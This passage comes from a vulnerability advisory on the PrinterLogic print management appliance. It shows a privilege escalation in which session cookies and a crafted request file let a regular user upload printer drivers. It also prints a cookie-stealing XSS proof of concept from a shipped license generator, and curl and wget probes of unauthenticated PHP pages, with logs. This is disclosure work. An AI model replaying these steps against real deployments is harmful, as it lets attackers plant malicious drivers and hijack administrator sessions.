/usr/bin/python /usr/bin/supervisord -n -c /etc/supervisor/supervis
    root         9  0.4  0.4 958256 40652 ?        Sl   03:38   0:43 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerCli
    
    7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours 
ago Up 3 hours (healthy) 80/tcp 
printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
    PID   USER     TIME  COMMAND
        1 root      0:21 ./cloud-print-job-holder-app
    
    7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours 
ago Up 3 hours (healthy) 80/tcp 
printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
    PID   USER     TIME  COMMAND
        1 root      0:21 ./cloud-print-job-holder-app
    
    d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 3 hours ago Up 3 
hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
    PID   USER     TIME  COMMAND
        1 root      0:01 {node} npm run start
       27 root      0:04 node ./src/server.js
    
    ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 3 hours ago 
Up 3 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
    PID   USER     TIME  COMMAND
        1 root      0:06 api
    
    6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 3 hours 
ago Up 3 hours (healthy) 80-81/tcp 
printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
    PID   USER     TIME  COMMAND
        1 root      0:48 ./cloud-print-printer-gw
    
    f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 3 hours ago Up 
3 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
    PID   USER     TIME  COMMAND
        1 root      0:06 api
    
    9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 3 hours 
ago Up 3 hours (healthy) 80/tcp 
printercloud_identity.1.8x0lwby90079bojeabu8vhead
    PID   USER     TIME  COMMAND
        1 root      0:01 /usr/local/bin/identity_api
    
    0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 3 hours ago Up 3 
hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
    PID   USER     TIME  COMMAND
        1 root      0:00 /opt/api
    
    bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 3 hours ago Up 
3 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
    PID   USER     TIME  COMMAND
        1 root      0:01 off-network-app
    
    e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 3 hours ago Up 3 
hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
    PID   USER     TIME  COMMAND
        1 root      0:00 npm
       25 root      0:35 node ./src/server.js
    
    5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 3 hours ago Up 3 
hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
    PID   USER     TIME  COMMAND
        1 root      0:00 npm
       23 root      0:00 npm
       38 root      0:00 [node]
       88 root      0:05 node runParallel.js runRestApiServer.js 
runPollingProxy.js
       94 root      1:08 /usr/local/bin/node /var/www/app/runRestApiServer.js
       99 root      0:32 /usr/local/bin/node /var/www/app/runPollingProxy.js
    
    a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 3 hours ago Up 3 
hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
    PID   USER     TIME  COMMAND
        1 root      0:01 off-network-app
    
    317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 3 hours ago Up 
3 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
    PID   USER     TIME  COMMAND
        1 root      0:00 npm run start
       63 root      0:22 node bin/src/server.js
    
    a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 3 hours ago Up 3 
hours (healthy) 80/tcp, 9229/tcp 
printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
    PID   USER     TIME  COMMAND
        1 root      0:00 npm
       19 root      0:00 [node]
       69 root      0:00 [node]
      108 root      0:07 node runRestApiServer.js
     5318 root      0:00 ps -a
    
    022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 3 
hours cicd_hive_1
    PID   USER     TIME  COMMAND
        1 root      0:02 hive monitor

Running everything as root is dangerous - vulnerability inside a service may be 
used by the attacker to move laterally and compromise the host.



## Details - Creation of administrator cookies using the credentials of regular 
users

Using a local user account, it is possible to elevate the privileges to admin 
privileges.

Using these admin privileges, it is possible to do a lot of administrative 
tasks on the solution.

As an example, I will show how to use this weakness to upload malicious driver 
packages to the remote server.

Creation of a user `user` without admin privileges:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Local user without administrator privileges

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Local user without administrator privileges

Using this account, it is possible to login into `/admin/`. Even if the 
workspace is empty, the session cookies have administrator privileges:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Logged as user inside `/admin/`

On the SaaS installation, this vulnerability is also present. A user 
`test-user` has been created and he is able to login to 
https://[redacted].prrintercloud10.com/admin/index.php:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Logged as user `test-user` inside `/admin/` in the SaaS version

The session cookies of the normal user obtained by login into `/admin/` can be 
then used to upload new drivers into the system.

Using Burp, I extracted the session cookies for the `user` logged in `/admin/`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Session cookies of a normal user

Crafting a custom upload request to be used by the PrinterLogic client under 
Linux/MacOS.

File to be placed inside `/opt/PrinterInstallerClient/tmp/requests/1-1`:

    1 UPLOAD_DRIVER
    2 base64(protocol)
    3 base64(domain_name||ip)
    4 base64("/")
    5 base64(PHPSESSID=VALUE;XSRF-TOKEN=VALUE;laravel_session=VALUE;)
    6 
    7 base64("1")

I created a custom valid request file by transforming the previous cookies into 
acceptable data by the PrinterLogic client running on the test laptop (no LF 
characters, no space, trailing ";" at the end of the line, no url-encoded 
characters):    

Valid Cookies to be used by the PrinterLogic Client:

    kali% cat cookies.txt                                                   
    PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63; 
XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0%3D;
 
laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0%3D
    kali% echo -n $(cat cookies.txt | sed -e 's# ##g;s#%3D#=#g');echo ';'   
    
PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;
    kali% echo -n 
'PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;'
 | base64 -w0
    
UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs=

The resulting file is shown. The data contained in base64 must not contain LF 
(line feed) character to be valid.

File to be used with the PrinterLogic Client:

    UPLOAD_DRIVER
    aHR0cDo=            base64(http)
    MTAuMTA1LjAuMjQx    base64(10.105.0.241)
    Lw==                base64(/) 
    
UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs=
    
    MQ==                base64(1)

"Sending" the request to the PrinterLogic client:

    kali% cp test-req /opt/PrinterInstallerClient/tmp/requests/1-1

The GUI will appear on the local machine:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Upload of a driver

Using Burp, we can confirm the upload is done:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Upload of a driver

- From the logs on the client, we can confirm the upload was successful:

    2022-02-03 04:14:55,175 (DEBUG): Processing request at 
'/opt/PrinterInstallerClient/tmp/requests/1-1'
    2022-02-03 04:14:55,177 (INFO): Received request: UPLOAD_DRIVER
    2022-02-03 04:14:55,177 (INFO): Creating task:
    Command: 'UPLOAD_DRIVER'
    Arguments: 
http:,10.105.0.241,/,PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;,,1
    User ID: 1000
    Group ID: 1000
    Use UI: True
    Origin: 'PLUGIN'
    2022-02-03 04:14:55,178 (DEBUG): Checking if home URL should be changed to: 
http://10.105.0.241/
    2022-02-03 04:14:55,179 (DEBUG): Getting clientsettings.dat from server (or 
using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if 
up-to-date)
    2022-02-03 04:14:55,339 (INFO): Configuring proxy overrides: MANUAL
    2022-02-03 04:14:55,339 (DEBUG): HTTP proxy: 127.0.0.1:8080
    2022-02-03 04:14:55,339 (DEBUG): HTTPS proxy: 127.0.0.1:8080
    2022-02-03 04:14:55,480 (DEBUG): Current cached copy of clientsettings.dat 
is up-to-date, using local version
    2022-02-03 04:14:55,481 (INFO): The home URL is already set to: 
http://10.105.0.241/
    2022-02-03 04:14:55,486 (DEBUG): Getting driver paths and annotation from 
GUI
    2022-02-03 04:15:29,901 (DEBUG): Selected in the GUI: 
['/usr/share/ppd/cupsfilters/pxlcolor.ppd'], upload with 'user' credentials
    2022-02-03 04:15:29,901 (DEBUG): Uploading drivers to the database
    2022-02-03 04:15:29,990 (DEBUG): Found driver components 
['/usr/lib/cups/filter/gstopxl']
    2022-02-03 04:15:29,999 (INFO): Configuring proxy overrides: MANUAL
    2022-02-03 04:15:29,999 (DEBUG): HTTP proxy: 127.0.0.1:8080
    2022-02-03 04:15:29,999 (DEBUG): HTTPS proxy: 127.0.0.1:8080
    2022-02-03 04:15:30,359 (DEBUG): Attempting to open: 
http://10.105.0.241/client/gateway.php?confirmupload=1&uploadid=22&packagetype=LINUX&oslist=61&printprocess=&driverdate=09/06/2021&driverversion=1.1&make=HP&modelname=HP%20Color%20LaserJet%20Series%20PCL%206&annotation=upload%20with%20%27user%27%20credentials&inffile=/usr/share/ppd/cupsfilters/pxlcolor.ppd
    2022-02-03 04:15:30,360 (INFO): Configuring proxy overrides: MANUAL
    2022-02-03 04:15:30,360 (DEBUG): HTTP proxy: 127.0.0.1:8080
    2022-02-03 04:15:30,360 (DEBUG): HTTPS proxy: 127.0.0.1:8080
    2022-02-03 04:15:31,520 (INFO): Done with request: UPLOAD_DRIVER
    2022-02-03 04:15:31,521 (DEBUG): Opening pipe at 
/opt/PrinterInstallerClient/tmp/responses/1-1 to write response

Using the admin credentials, we can confirm the drivers have been uploaded 
without admin credentials:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Listing of uploaded drivers

The current driver is listed as compatible with Linux only - using Burp to 
replay HTTPS requests, it is possible to change the OS:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Listing of uploaded drivers with different OS

The upload is in a 3-step sequence:

1.Getting an upload slot ID:

    POST /client/uploadgateway.php HTTP/1.1
    needhandle=1&description=Reupload+using+burp&totalsize=3976&totalfragments=1

This API will then provide an upload slot ID used for the next HTTP request.

2.Uploading the content:

    POST /client/uploadgateway.php HTTP/1.1
    uploadid=26&fragment=0&fragmentsize=sizeof(base64(data))data=base64(data)


3.Configuring the driver:


    GET 
/client/gateway.php?confirmupload=1&uploadid=26&packagetype=NORMAL&oslist=10&printprocess=&driverdate=09%2F06%2F2021&driverversion=1.1&make=HP&modelname=HP+Color+LaserJet+Series+PCL+6&annotation=upload+with+%27user%27+credentials&inffile=%2Fusr%2Fshare%2Fppd%2Fcupsfilters%2Fpxlcolor.ppd
 HTTP/1.1

The `oslist` value allows the attacker to specify the target OS.

To be valid, these requests require either the `Authorization: Bearer KEY` or 
the `x-printerlogic-auth: Bearer KEY` headers. These keys appear to be unique 
for each client installation. To be sure that this exploitation has worked, I 
reinstalled a dedicated Linux machine with PrinterLogic Client and used the 
specific user1 user with normal privileges (non-administrator). This machine 
was never used to reach the server as admin or do any action on the remote 
server using admin cookies.

In this case, the headers were specific to this machine and the upload also 
worked:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Upload request

This authorization code appears to come from the 
`/opt/PrinterInstallerClient/configuration.json` configuration file, in the 
tokens hashtable - this value is specific to each installation of the client 
and is set during the initial configuration of the client (this may require a 
temporary registration code).

Token value from the configuration file (before decoding):

    21   "tokens": {
    22     "null": null,
    23     "http://10.105.0.241/": 
"b'\\xa5A\\xf2\\xb7\\xf8\\x10\\xb1\\x01\\xf6P\\xba\\xb8(K\\xae\\xa7\\xea\\xc2\\xb0eC\\xff[\\xcd\\xa2e\\xe6p\\xb9j\\xe1\\x1egH\
    \xd4\\xea\\xcc!\\x07\\x9d'"
    24   },

The upload also worked for `user1`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Upload from user1 from a dedicated machine never linked to any PrinterLogic 
admin activity

There are 2 verifications done by the upload process:

- - Checking of the PHP sessions to verify whether the current user has 
administrator privileges (that can be bypassed by getting `admin` cookies when 
visiting `/admin/`)
- - Checking of a hardcoded token that is set during the initial 
installation/configuration of the PrinterLogic Client.

There is also a race condition between the first and the second upload requests 
- when an administrator is uploading a driver, another user with admin 
privileges can upload malicious drivers by brute-forcing the upload slot id in 
the second http request: the upload mechanism is not linked to a specific 
administrator's session but only uses the public upload slot id.

It was not possible to exploit this race condition from a user without cookies 
with elevated privileges (using the cookies retrieving when login to 
http://printerlogic-url/).

When using `local` users, the appliance/SaaS is vulnerable to privilege 
escalation, allowing to compromise drivers.

Installations using Azure Single Sign On authentication are secure because the 
authentication is blocked by Microsoft and doesn't reach the PrinterLogic 
server.



## Details - XSS in the license generator and weak encryption algorithm

The custom `encryption` algorithm to generate license key is very weak and can 
be easily bypassed.

Furthermore, the appliance provides a working licence generator located in 
`/var/www/app/license_gen.php`.

The code contains XSS in lines 117 and 253:

[code:php]
  1 <?php
[...]
 60  function rs($n,$def="",$n2="") {
 61         if(!isset($_REQUEST[$n])) {
 62                 if(empty($n2)||(!isset($_REQUEST[$n2]))) {
 63                         return $def;
 64                 } else return $_REQUEST[$n2];
 65         }  else return $_REQUEST[$n];
 66  }
[...]
114  function fd($n) {
115         if(empty($n)) return "";
116         $res=_fd($n);
117         if($res===false) die("The date specified '$n' could not be 
parsed."); // [1] XSS with $n
118         return $res;
119 
120  }
[...]
248 <?php
249 if($needconfirm) {
250         echo "<font style='color: red'>
251         THE DATE YOU SPECIFIED IS QUESTIONABLE, 
252         ARE YOU REALLY SURE THATS WHAT YOU MEANT TO PUT IN THERE?<br/><br/>
253         I PARSED IT AS: ".fd(rs('expiry'))." </font><br /><div>";           
  // [2] XSS with rs('expiry')
254 }
255 ?>
[/code]

The value `rs("expiry")` comes from `$_REQUEST["expiry"]`. The value must 
respect some conditions in `_fd()` (related to the length on line 90, not 
shown) to exploit the XSS on line 253.

An incorrect value will be shown without being escaped using `die()`, allowing 
the XSS on line 117. It is recommended to escape the value of `rs("expiry")` on 
line 253 and to patch the line 117.

In other parts of the files, there are also XSS because the PHP code used 
`htmlentities()` to escape HTML. It is still possible to inject single quotes 
and add JavaScript. For example, in lines 261 and 289.

XSS in `license_gen.php`:

[code:php]
  1 <?php
[...]
261         echo "<input type='hidden' value='".htmlentities(rs('expiry'))."' 
name='confirm' />";
[...]
289 <input name="expiry" type="text" value="<?php echo 
htmlentities(fd(rs('expiry'))); ?>" /><br />
[...]
[/code]

A PoC has been provided using the PHP code from `license_gen.php`:

Content of `test.php`:

[code:php]
  1 <?php
  2  function rs($n,$def="",$n2="") {
  3         if(!isset($_REQUEST[$n])) {
  4                 if(empty($n2)||(!isset($_REQUEST[$n2]))) {
  5                         return $def;
  6                 } else return $_REQUEST[$n2];
  7         }  else return $_REQUEST[$n];
  8  }
  9 
 10         echo "<input type='hidden' value='".htmlentities(rs('expiry'))."' 
name='confirm' />";
 11 
 12 ?>
[/code]

When `bla'%20onload='alert(document.cookie)` is injected, there is a XSS:

    kali% curl 
"http://127.0.0.1/test.php?expiry=bla'%20onload='alert(document.cookie)"
    <input type='hidden' value='bla' onload='alert(document.cookie)' 
name='confirm' />

`license_gen.php` contains 13 XSS with `htmlentitites()`.

The script also works and provides valid licenses:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

An attacker may use this license generator file to steal cookies of 
administrators.



## Details - Incorrect Access Control to PHP webpages allowing to reach printers

A huge number of webpages are directly reachable outside regular PHP routes.

This allows an attacker to bypass authentication mechanism.

For example, `http://target/admin/design/role_description.php` is freely 
reachable:

    kali% curl http://10.105.0.241/admin/design/role_description.php
    <div style="margin: 8px;">      
    <h1>Administrative Roles</h1>
    <h2>Root</h2>
    <h3>The root user has all permissions.</h3>
    <br />
    <h2>Administrator:</h2>
    <h3>Administrators have all permissions except permission to change the 
root user password.</h3> 
    <br />
    <h2>Manager:</h2>
    <h3>Managers have permissions to do the following:</h3> 
    <ul><li>View and export all print job audit records.</li>
    <li>Add, delete, and edit printer objects the user has been given 
permission to manage</li>
    <li>Add, delete, and edit folder objects the user has been given permission 
to manage</li>
    <li>Edit printer General, Port, Drivers, Deploy, Portal Security 
settings</li>
    <li>Edit folder General and Portal Security tab settings</li>
    <li>Add drivers to the driver/profile repository</li>
    <li>Delete drivers from the driver/profile repository if the driver is only 
associated to printers the user has been given permission to manage</li>
    <li>Replace drivers in the driver/profile repository if the driver is only 
associated to printers the user has been given permission to manage</li>
    <li>Add profiles to the driver/profile repository</li>
    <li>Delete profiles from the driver/profile repository if the profile is 
only associated to printers the user has been given permission to manage</li>
    <li>Edit profiles in the driver/profile repository if the profile is only 
associated to printers the user has been given permission to manage</li>
    <li>Add, delete, and edit IP address range objects the user has been given 
permission to manage</li>
    <li>Edit IP Address range General and Deploy tab settings</li></ul> 
    <br />
    <h2>Deployer:</h2>
    <h3>Deployers have permissions to do the following:</h3>
    <ul><li>Edit deploy tab settings of printer or IP address range objects the 
user has been given permission to manage</li></ul>
    </div> 
    kali%

Other pages will provide path disclosure, e.g. 
`/console_release/km/OpenAPI.php`:

    kali% curl http://10.105.0.241/console_release/km/OpenAPI.php
    <br />
    <b>Warning</b>:  Use of undefined constant ABSPATH - assumed 'ABSPATH' 
(this will throw an Error in a future version of PHP) in 
<b>/var/www/app/public/console_release/km/OpenAPI.php</b> on line <b>3</b><br />
    <br />
    <b>Warning</b>:  require_once(ABSPATHlib/dao/my_sql/data_access.php): 
failed to open stream: No such file or directory in 
<b>/var/www/app/public/console_release/km/OpenAPI.php</b> on line <b>3</b><br />
    <br />
    <b>Fatal error</b>:  require_once(): Failed opening required 
'ABSPATHlib/dao/my_sql/data_access.php' (include_path='.:/usr/local/lib/php') 
in <b>/var/www/app/public/console_release/km/OpenAPI.php</b> on line 
<b>3</b><br />

When reaching some pages, we can get PHP errors in the appliance - some code is 
executed because there is no authentication but there are PHP errors (undefined 
variables) during the execution. Some of the code is supposed to be included in 
other PHP files.

Testing reachable PHP files in the `/admin/design/reports` directory:

    kali% for i in chart_image.php global.php overview_application_usage.php 
overview_color.php overview_environmental.php overview_main.php 
overview_page_count.php overview_paper_size.php overview_popup.php 
overview_pull_printing.php overview_summary.php overview_time_of_day.php 
overview_total_per_week.php print_job_folder.php print_job_others.php 
print_job_records.php print_job_user_manager_department_printer.php; do wget 
http://10.105.0.241/admin/design/reports/$i;done

Some PHP errors will be produced on the server:

    Feb  1 01:06:46 printerlogic 
va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 
[error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] 
production.ERROR: 
{"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"}
 [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() 
expects parameter 1 to be array, null given {"exception":"[object] 
(ErrorException(code: 0): array_shift() expects parameter 1 to be array, null 
given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} 
[]
    Feb  1 01:06:46 printerlogic 
va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 
01:06:46] production.ERROR: 
{"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"}
 [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() 
expects parameter 1 to be array, null given {"exception":"[object] 
(ErrorException(code: 0): array_shift() expects parameter 1 to be array, null 
given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} 
[]" while reading response header from upstream, client: 172.17.130.44, server: 
~^(?<subdomain>[^.]+)\..*$, request: "GET 
/admin/design/reports/overview_application_usage.php HTTP/1.1", upstream: 
"fastcgi://unix:/var/run/php-fpm.sock:", host: "10.105.0.241"
    Feb  1 01:06:46 printerlogic 
va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 
[error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] 
production.ERROR: 
{"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_color.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"}
 [dd.trace_id=4795729321180279321 dd.span_id=4795729321180279321] array_shift() 
expects parameter 1 to be array, null given {"exception":"[object] 
(ErrorException(code: 0): array_shift() expects parameter 1 to be array, null 
